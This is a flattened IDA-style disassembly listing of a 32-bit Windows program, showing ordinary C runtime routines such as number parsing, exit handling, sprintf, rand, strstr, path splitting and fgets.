sub_41B2F0+96j mov eax, [ebp+var_4] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_14], edx loc_41B3B0: ; CODE XREF: sub_41B2F0+A9j cmp [ebp+var_14], 0 jz short loc_41B3DB mov eax, [ebp+var_8] imul eax, 0Ah mov ecx, [ebp+var_4] lea edx, [eax+ecx-30h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_41B37F ; --------------------------------------------------------------------------- loc_41B3DB: ; CODE XREF: sub_41B2F0+C4j cmp [ebp+var_C], 2Dh jnz short loc_41B3E8 mov eax, [ebp+var_8] neg eax jmp short loc_41B3EB ; --------------------------------------------------------------------------- loc_41B3E8: ; CODE XREF: sub_41B2F0+EFj mov eax, [ebp+var_8] loc_41B3EB: ; CODE XREF: sub_41B2F0+F6j mov esp, ebp pop ebp retn sub_41B2F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3F0 proc near ; CODE XREF: sub_40141B+303p ; sub_401CC1+AE4p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_41B2F0 add esp, 4 pop ebp retn sub_41B3F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi loc_41B417: ; CODE XREF: .nsp0:0041B45Fj cmp dword_4516A8, 1 jle short loc_41B437 push 8 mov eax, [ebp+8] xor ecx, ecx mov cl, [eax] push ecx call sub_421E50 add esp, 8 mov [ebp-14h], eax jmp short loc_41B450 ; --------------------------------------------------------------------------- loc_41B437: ; CODE XREF: .nsp0:0041B41Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp-14h], edx loc_41B450: ; CODE XREF: .nsp0:0041B435j cmp dword ptr [ebp-14h], 0 jz short loc_41B461 mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax jmp short loc_41B417 ; --------------------------------------------------------------------------- loc_41B461: ; CODE XREF: .nsp0:0041B454j mov ecx, [ebp+8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax mov ecx, [ebp-4] mov [ebp-10h], ecx cmp dword ptr [ebp-4], 2Dh jz short loc_41B486 cmp dword ptr [ebp-4], 2Bh jnz short loc_41B499 loc_41B486: ; CODE XREF: .nsp0:0041B47Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx loc_41B499: ; CODE XREF: .nsp0:0041B484j mov dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 0 loc_41B4A7: ; CODE XREF: .nsp0:0041B517j cmp dword_4516A8, 1 jle short loc_41B4C3 push 4 mov edx, [ebp-4] push edx call sub_421E50 add esp, 8 mov [ebp-18h], eax jmp short loc_41B4D8 ; --------------------------------------------------------------------------- loc_41B4C3: ; CODE XREF: .nsp0:0041B4AEj mov eax, [ebp-4] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp-18h], edx loc_41B4D8: ; CODE XREF: .nsp0:0041B4C1j cmp dword ptr [ebp-18h], 0 jz short loc_41B519 push 0 push 0Ah mov eax, [ebp-8] push eax mov ecx, [ebp-0Ch] push ecx call sub_41DE60 mov ecx, eax mov esi, edx mov eax, [ebp-4] sub eax, 30h cdq add ecx, eax adc esi, edx mov [ebp-0Ch], ecx mov [ebp-8], esi mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx jmp short loc_41B4A7 ; --------------------------------------------------------------------------- loc_41B519: ; CODE XREF: .nsp0:0041B4DCj cmp dword ptr [ebp-10h], 2Dh jnz short loc_41B52E mov eax, [ebp-0Ch] neg eax mov edx, [ebp-8] adc edx, 0 neg edx jmp short loc_41B534 ; --------------------------------------------------------------------------- loc_41B52E: ; CODE XREF: .nsp0:0041B51Dj mov eax, [ebp-0Ch] mov edx, [ebp-8] loc_41B534: ; CODE XREF: .nsp0:0041B52Cj pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B540 proc near ; CODE XREF: .nsp0:0041EA92p push ebp mov ebp, esp cmp off_4510FC, 0 jz short loc_41B552 call off_4510FC loc_41B552: ; CODE XREF: sub_41B540+Aj push offset dword_43A030 push offset dword_43A01C call sub_41B710 add esp, 8 push offset dword_43A018 push offset dword_43A000 call sub_41B710 add esp, 8 pop ebp retn sub_41B540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B580 proc near ; CODE XREF: .nsp0:0041EAEDp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 mov eax, [ebp+arg_0] push eax call sub_41B600 add esp, 0Ch pop ebp retn sub_41B580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B5A0 proc near ; CODE XREF: .nsp0:0041EB14p ; sub_41EB30+22p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1 mov eax, [ebp+arg_0] push eax call sub_41B600 add esp, 0Ch pop ebp retn sub_41B5A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 push 0 call sub_41B600 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 1 push 0 call sub_41B600 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B600 proc near ; CODE XREF: sub_41B580+Bp ; sub_41B5A0+Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx call sub_41B6F0 cmp dword_4EF8B8, 1 jnz short loc_41B623 mov eax, [ebp+arg_0] push eax call dword_4F13B4 ; GetCurrentProcess push eax call dword_4F13AC ; TerminateProcess loc_41B623: ; CODE XREF: sub_41B600+10j mov dword_4EF8B4, 1 mov cl, byte ptr [ebp+arg_8] mov byte_4EF8B0, cl cmp [ebp+arg_4], 0 jnz short loc_41B683 cmp dword_4F0FB4, 0 jz short loc_41B671 mov edx, dword_4F0FB0 mov [ebp+var_4], edx loc_41B64E: ; CODE XREF: sub_41B600:loc_41B66Fj mov eax, [ebp+var_4] sub eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, dword_4F0FB4 jb short loc_41B671 mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_41B66F mov eax, [ebp+var_4] call dword ptr [eax] loc_41B66F: ; CODE XREF: sub_41B600+68j jmp short loc_41B64E ; --------------------------------------------------------------------------- loc_41B671: ; CODE XREF: sub_41B600+43j ; sub_41B600+60j push offset dword_43A03C push offset dword_43A034 call sub_41B710 add esp, 8 loc_41B683: ; CODE XREF: sub_41B600+3Aj push offset dword_43A048 push offset dword_43A040 call sub_41B710 add esp, 8 cmp dword_4EF8BC, 0 jnz short loc_41B6BE push 0FFFFFFFFh call sub_41A400 add esp, 4 and eax, 20h test eax, eax jz short loc_41B6BE mov dword_4EF8BC, 1 call sub_41AD10 loc_41B6BE: ; CODE XREF: sub_41B600+9Cj ; sub_41B600+ADj cmp [ebp+arg_8], 0 jz short loc_41B6CB call sub_41B700 jmp short loc_41B6DF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B600+C2j mov dword_4EF8B8, 1 mov ecx, [ebp+arg_0] push ecx call dword_4F1320 ; ExitProcess loc_41B6DF: ; CODE XREF: sub_41B600+C9j mov esp, ebp pop ebp retn sub_41B600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B6F0 proc near ; CODE XREF: sub_41B600+4p ; sub_41D930+4p push ebp mov ebp, esp push 0Dh call sub_41FB40 add esp, 4 pop ebp retn sub_41B6F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B700 proc near ; CODE XREF: sub_41B600+C4p ; sub_41D930+61p ... push ebp mov ebp, esp push 0Dh call sub_41FBE0 add esp, 4 pop ebp retn sub_41B700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B710 proc near ; CODE XREF: sub_41B540+1Cp ; sub_41B540+2Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp loc_41B713: ; CODE XREF: sub_41B710+21j mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_41B733 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jz short loc_41B728 mov edx, [ebp+arg_0] call dword ptr [edx] loc_41B728: ; CODE XREF: sub_41B710+11j mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax jmp short loc_41B713 ; --------------------------------------------------------------------------- loc_41B733: ; CODE XREF: sub_41B710+9j pop ebp retn sub_41B710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B740 proc near ; CODE XREF: sub_40141B+18Cp ; sub_40141B+292p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_41B755: ; CODE XREF: sub_41B740+3Dj cmp [ebp+arg_0], 0 jnz short loc_41B779 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41B779 int 3 ; Trap to Debugger loc_41B779: ; CODE XREF: sub_41B740+19j ; sub_41B740+36j xor edx, edx test edx, edx jnz short loc_41B755 loc_41B77F: ; CODE XREF: sub_41B740+67j cmp [ebp+arg_4], 0 jnz short loc_41B7A3 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41B7A3 int 3 ; Trap to Debugger loc_41B7A3: ; CODE XREF: sub_41B740+43j ; sub_41B740+60j xor eax, eax test eax, eax jnz short loc_41B77F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov dword ptr [eax+4], 7FFFFFFFh mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_24] push eax call sub_422D70 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_41B81F mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_30], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_41B830 ; --------------------------------------------------------------------------- loc_41B81F: ; CODE XREF: sub_41B740+BBj mov edx, [ebp+var_24] push edx push 0 call sub_422AF0 add esp, 8 mov [ebp+var_30], eax loc_41B830: ; CODE XREF: sub_41B740+DDj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B840 proc near ; CODE XREF: sub_40141B+45p ; sub_401CC1+2C0Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_423CF0 mov ecx, [ebp+arg_0] mov [eax+14h], ecx pop ebp retn sub_41B840 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B850 proc near ; CODE XREF: sub_40141B:loc_401570p ; sub_40141B:loc_40189Bp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_423CF0 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov edx, [ebp+var_4] mov [edx+14h], ecx mov eax, [ebp+var_4] mov eax, [eax+14h] shr eax, 10h and eax, 7FFFh mov esp, ebp pop ebp retn sub_41B850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B890 proc near ; CODE XREF: sub_40141B+12Ap ; sub_401CC1+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B90A mov dh, [ecx+1] test dh, dh jz short loc_41B8F7 loc_41B8A8: ; CODE XREF: sub_41B890+52j ; sub_41B890+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B8CA test al, al jz short loc_41B8C4 loc_41B8B9: ; CODE XREF: sub_41B890+32j mov al, [esi] inc esi loc_41B8BC: ; CODE XREF: sub_41B890+3Fj cmp al, dl jz short loc_41B8CA test al, al jnz short loc_41B8B9 loc_41B8C4: ; CODE XREF: sub_41B890+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B8CA: ; CODE XREF: sub_41B890+23j ; sub_41B890+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B8BC lea edi, [esi-1] loc_41B8D4: ; CODE XREF: sub_41B890+63j mov ah, [ecx+2] test ah, ah jz short loc_41B903 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B8A8 mov al, [ecx+3] test al, al jz short loc_41B903 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B8D4 jmp short loc_41B8A8 ; --------------------------------------------------------------------------- loc_41B8F7: ; CODE XREF: sub_41B890+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C406 ; --------------------------------------------------------------------------- loc_41B903: ; CODE XREF: sub_41B890+49j ; sub_41B890+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B90A: ; CODE XREF: sub_41B890+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B890 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B910 proc near ; CODE XREF: sub_40141B+117p ; sub_401CC1+1A1Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_C] mov [ebp+var_2C], ecx loc_41B925: ; CODE XREF: sub_41B910+3Dj cmp [ebp+arg_0], 0 jnz short loc_41B949 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41B949 int 3 ; Trap to Debugger loc_41B949: ; CODE XREF: sub_41B910+19j ; sub_41B910+36j xor edx, edx test edx, edx jnz short loc_41B925 loc_41B94F: ; CODE XREF: sub_41B910+67j cmp [ebp+arg_8], 0 jnz short loc_41B973 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41B973 int 3 ; Trap to Debugger loc_41B973: ; CODE XREF: sub_41B910+43j ; sub_41B910+60j xor eax, eax test eax, eax jnz short loc_41B94F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_24] push ecx call sub_422D70 add esp, 0Ch mov [ebp+var_28], eax mov edx, [ebp+var_24] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_24] cmp dword ptr [edx+4], 0 jl short loc_41B9EE mov eax, [ebp+var_24] mov ecx, [eax] mov byte ptr [ecx], 0 xor edx, edx and edx, 0FFh mov [ebp+var_30], edx mov eax, [ebp+var_24] mov ecx, [eax] add ecx, 1 mov edx, [ebp+var_24] mov [edx], ecx jmp short loc_41B9FF ; --------------------------------------------------------------------------- loc_41B9EE: ; CODE XREF: sub_41B910+BAj mov eax, [ebp+var_24] push eax push 0 call sub_422AF0 add esp, 8 mov [ebp+var_30], eax loc_41B9FF: ; CODE XREF: sub_41B910+DCj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA10 proc near ; CODE XREF: sub_40141B+F7p ; sub_401CC1+1D09p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] push eax call sub_418D00 add esp, 4 cmp eax, 1 jb short loc_41BA6B mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+1] cmp edx, 3Ah jnz short loc_41BA6B cmp [ebp+arg_4], 0 jz short loc_41BA60 push 2 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] push ecx call sub_4246D0 add esp, 0Ch mov edx, [ebp+arg_4] mov byte ptr [edx+2], 0 loc_41BA60: ; CODE XREF: sub_41BA10+35j mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax jmp short loc_41BA77 ; --------------------------------------------------------------------------- loc_41BA6B: ; CODE XREF: sub_41BA10+23j ; sub_41BA10+2Fj cmp [ebp+arg_4], 0 jz short loc_41BA77 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 0 loc_41BA77: ; CODE XREF: sub_41BA10+59j ; sub_41BA10+5Fj mov [ebp+var_C], 0 mov edx, [ebp+arg_0] mov [ebp+var_4], edx jmp short loc_41BA8F ; --------------------------------------------------------------------------- loc_41BA86: ; CODE XREF: sub_41BA10:loc_41BAECj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41BA8F: ; CODE XREF: sub_41BA10+74j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41BAEE mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] xor edx, edx mov dl, byte_4EFE61[ecx] and edx, 4 test edx, edx jz short loc_41BABA mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41BAEC ; --------------------------------------------------------------------------- loc_41BABA: ; CODE XREF: sub_41BA10+9Dj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 2Fh jz short loc_41BAD0 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 5Ch jnz short loc_41BADB loc_41BAD0: ; CODE XREF: sub_41BA10+B3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx jmp short loc_41BAEC ; --------------------------------------------------------------------------- loc_41BADB: ; CODE XREF: sub_41BA10+BEj mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_41BAEC mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_41BAEC: ; CODE XREF: sub_41BA10+A8j ; sub_41BA10+C9j ... jmp short loc_41BA86 ; --------------------------------------------------------------------------- loc_41BAEE: ; CODE XREF: sub_41BA10+87j cmp [ebp+var_C], 0 jz short loc_41BB44 cmp [ebp+arg_8], 0 jz short loc_41BB3C mov eax, [ebp+var_C] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_41BB12 mov ecx, [ebp+var_C] sub ecx, [ebp+arg_0] mov [ebp+var_14], ecx jmp short loc_41BB19 ; --------------------------------------------------------------------------- loc_41BB12: ; CODE XREF: sub_41BA10+F5j mov [ebp+var_14], 0FFh loc_41BB19: ; CODE XREF: sub_41BA10+100j mov edx, [ebp+var_14] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_4246D0 add esp, 0Ch mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_41BB3C: ; CODE XREF: sub_41BA10+E8j mov ecx, [ebp+var_C] mov [ebp+arg_0], ecx jmp short loc_41BB50 ; --------------------------------------------------------------------------- loc_41BB44: ; CODE XREF: sub_41BA10+E2j cmp [ebp+arg_8], 0 jz short loc_41BB50 mov edx, [ebp+arg_8] mov byte ptr [edx], 0 loc_41BB50: ; CODE XREF: sub_41BA10+132j ; sub_41BA10+138j cmp [ebp+var_8], 0 jz loc_41BBFA mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jb loc_41BBFA cmp [ebp+arg_C], 0 jz short loc_41BBAF mov ecx, [ebp+var_8] sub ecx, [ebp+arg_0] cmp ecx, 0FFh jnb short loc_41BB85 mov edx, [ebp+var_8] sub edx, [ebp+arg_0] mov [ebp+var_18], edx jmp short loc_41BB8C ; --------------------------------------------------------------------------- loc_41BB85: ; CODE XREF: sub_41BA10+168j mov [ebp+var_18], 0FFh loc_41BB8C: ; CODE XREF: sub_41BA10+173j mov eax, [ebp+var_18] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] push eax call sub_4246D0 add esp, 0Ch mov ecx, [ebp+arg_C] add ecx, [ebp+var_10] mov byte ptr [ecx], 0 loc_41BBAF: ; CODE XREF: sub_41BA10+15Aj cmp [ebp+arg_10], 0 jz short loc_41BBF8 mov edx, [ebp+var_4] sub edx, [ebp+var_8] cmp edx, 0FFh jnb short loc_41BBCE mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_1C], eax jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BBCE: ; CODE XREF: sub_41BA10+1B1j mov [ebp+var_1C], 0FFh loc_41BBD5: ; CODE XREF: sub_41BA10+1BCj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_10] push ecx call sub_4246D0 add esp, 0Ch mov edx, [ebp+arg_10] add edx, [ebp+var_10] mov byte ptr [edx], 0 loc_41BBF8: ; CODE XREF: sub_41BA10+1A3j jmp short loc_41BC4E ; --------------------------------------------------------------------------- loc_41BBFA: ; CODE XREF: sub_41BA10+144j ; sub_41BA10+150j cmp [ebp+arg_C], 0 jz short loc_41BC42 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_41BC18 mov ecx, [ebp+var_4] sub ecx, [ebp+arg_0] mov [ebp+var_20], ecx jmp short loc_41BC1F ; --------------------------------------------------------------------------- loc_41BC18: ; CODE XREF: sub_41BA10+1FBj mov [ebp+var_20], 0FFh loc_41BC1F: ; CODE XREF: sub_41BA10+206j mov edx, [ebp+var_20] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_C] push edx call sub_4246D0 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_41BC42: ; CODE XREF: sub_41BA10+1EEj cmp [ebp+arg_10], 0 jz short loc_41BC4E mov ecx, [ebp+arg_10] mov byte ptr [ecx], 0 loc_41BC4E: ; CODE XREF: sub_41BA10:loc_41BBF8j ; sub_41BA10+236j mov esp, ebp pop ebp retn sub_41BA10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BC60 proc near ; CODE XREF: sub_401B49+8p ; sub_401CC1+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BC80 loc_41BC6C: ; CODE XREF: sub_41BC60+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BC6C loc_41BC80: ; CODE XREF: sub_41BC60+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BC60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC90 proc near ; CODE XREF: sub_401CC1+69B8p ; sub_401CC1+69E7p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_41BCA5: ; CODE XREF: sub_41BC90+3Dj cmp [ebp+arg_0], 0 jnz short loc_41BCC9 push offset aStringNull ; "string != NULL" push 0 push 3Bh push offset aFgets_c ; "fgets.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41BCC9 int 3 ; Trap to Debugger loc_41BCC9: ; CODE XREF: sub_41BC90+19j ; sub_41BC90+36j xor edx, edx test edx, edx jnz short loc_41BCA5 loc_41BCCF: ; CODE XREF: sub_41BC90+67j cmp [ebp+arg_8], 0 jnz short loc_41BCF3 push offset dword_437514 push 0 push 3Ch push offset aFgets_c ; "fgets.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41BCF3 int 3 ; Trap to Debugger loc_41BCF3: ; CODE XREF: sub_41BC90+43j ; sub_41BC90+60j xor eax, eax test eax, eax jnz short loc_41BCCF cmp [ebp+arg_4], 0 jg short loc_41BD06 xor eax, eax jmp loc_41BDC7 ; --------------------------------------------------------------------------- loc_41BD06: ; CODE XREF: sub_41BC90+6Dj mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_41ECE0 add esp, 4 loc_41BD18: ; CODE XREF: sub_41BC90:loc_41BDADj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_41BDB2 mov ecx, [ebp+var_4] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_4] mov [eax+4], edx mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jl short loc_41BD63 mov edx, [ebp+var_4] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax jmp short loc_41BD72 ; --------------------------------------------------------------------------- loc_41BD63: ; CODE XREF: sub_41BC90+B1j mov edx, [ebp+var_4] push edx call sub_421F10 add esp, 4 mov [ebp+var_14], eax loc_41BD72: ; CODE XREF: sub_41BC90+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_41BD91 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_41BD8F mov [ebp+var_10], 0 jmp short loc_41BDB8 ; --------------------------------------------------------------------------- loc_41BD8F: ; CODE XREF: sub_41BC90+F4j jmp short loc_41BDB2 ; --------------------------------------------------------------------------- loc_41BD91: ; CODE XREF: sub_41BC90+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_41BDAD jmp short loc_41BDB2 ; --------------------------------------------------------------------------- loc_41BDAD: ; CODE XREF: sub_41BC90+119j jmp loc_41BD18 ; --------------------------------------------------------------------------- loc_41BDB2: ; CODE XREF: sub_41BC90+95j ; sub_41BC90:loc_41BD8Fj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_41BDB8: ; CODE XREF: sub_41BC90+FDj mov ecx, [ebp+var_4] push ecx call sub_41ED50 add esp, 4 mov eax, [ebp+var_10] loc_41BDC7: ; CODE XREF: sub_41BC90+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41BC90 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_41BDF0 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- 